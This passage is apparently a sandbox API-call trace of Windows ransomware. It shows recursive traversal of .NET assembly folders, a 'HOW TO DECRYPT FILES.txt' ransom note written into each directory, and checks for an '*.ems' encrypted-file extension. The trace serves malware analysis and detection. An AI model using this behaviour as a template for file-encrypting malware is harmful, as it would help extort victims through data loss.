returned 1 [0101.062] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd997e500, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xd997e500, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd997e500, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6769006c, dwReserved1=0x690000, cFileName="Policy.12.0.Microsoft.Office.Interop.MSProject", cAlternateFileName="POLICY~2.MSP")) returned 1 [0101.062] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.062] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.12.0.Microsoft.Office.Interop.MSProject" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject" [0101.062] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd997e500, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xd997e500, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd997e500, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.063] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd997e500, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xd997e500, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd997e500, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.063] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe99ad60, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xd997e500, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd997e500, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0101.063] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\*.*") returned="*.*" [0101.063] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c" [0101.063] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe99ad60, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xd997e500, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd997e500, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.068] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe99ad60, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xd997e500, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd997e500, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.068] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe99ad60, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe99ad60, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x38a, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.MSProject.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0101.068] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.068] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.MSProject.config") returned -1 [0101.068] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.MSProject.config") returned -1 [0101.068] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.MSProject.config") returned -1 [0101.068] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0101.068] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\" [0101.068] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.068] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.069] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.msproject\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0101.069] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.msproject\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.073] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.MSProject.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.MSProject.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.MSProject.config" [0101.073] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.MSProject.config", pszSpec="*.ems") returned 0 [0101.073] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe99ad60, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe99ad60, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.MSProject.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0101.073] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.073] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.MSProject.dll") returned -1 [0101.073] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.MSProject.dll") returned -1 [0101.074] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.MSProject.dll") returned -1 [0101.074] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.MSProject.config") returned="Policy.12.0.Microsoft.Office.Interop.MSProject.config" [0101.074] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\" [0101.074] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.074] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.074] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.msproject\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0101.074] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.MSProject.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.MSProject.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.MSProject.dll" [0101.074] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.MSProject.dll", pszSpec="*.ems") returned 0 [0101.074] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe99ad60, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe99ad60, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.MSProject.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0101.075] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.075] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe99ad60, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xd997e500, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd997e500, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0101.075] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.075] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c40590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c40590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c40590, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0067, dwReserved1=0x69006c, cFileName="Policy.12.0.Microsoft.Office.Interop.Outlook", cAlternateFileName="POLICY~2.OUT")) returned 1 [0101.075] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.075] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Outlook" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook" [0101.075] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c40590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c40590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c40590, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.076] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c40590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c40590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c40590, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.076] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59a53950, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c40590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c40590, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0101.076] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\*.*") returned="*.*" [0101.076] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c" [0101.077] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59a53950, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c40590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c40590, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.080] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59a53950, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c40590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c40590, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.080] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cccc9d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cccc9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cccc9d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x386, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Outlook.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0101.080] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.080] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Outlook.config") returned -1 [0101.080] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Outlook.config") returned -1 [0101.080] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.Outlook.config") returned -1 [0101.080] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0101.080] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\" [0101.081] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.081] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.081] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.outlook\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0101.081] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.outlook\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.084] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Outlook.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.config" [0101.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.config", pszSpec="*.ems") returned 0 [0101.085] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59a9fc10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x59a9fc10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59a9fc10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Outlook.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0101.085] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.085] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Outlook.dll") returned -1 [0101.085] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Outlook.dll") returned -1 [0101.085] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.Outlook.dll") returned -1 [0101.085] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.config") returned="Policy.12.0.Microsoft.Office.Interop.Outlook.config" [0101.085] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\" [0101.086] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.086] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.086] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.outlook\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0101.086] lstrcatA (in: 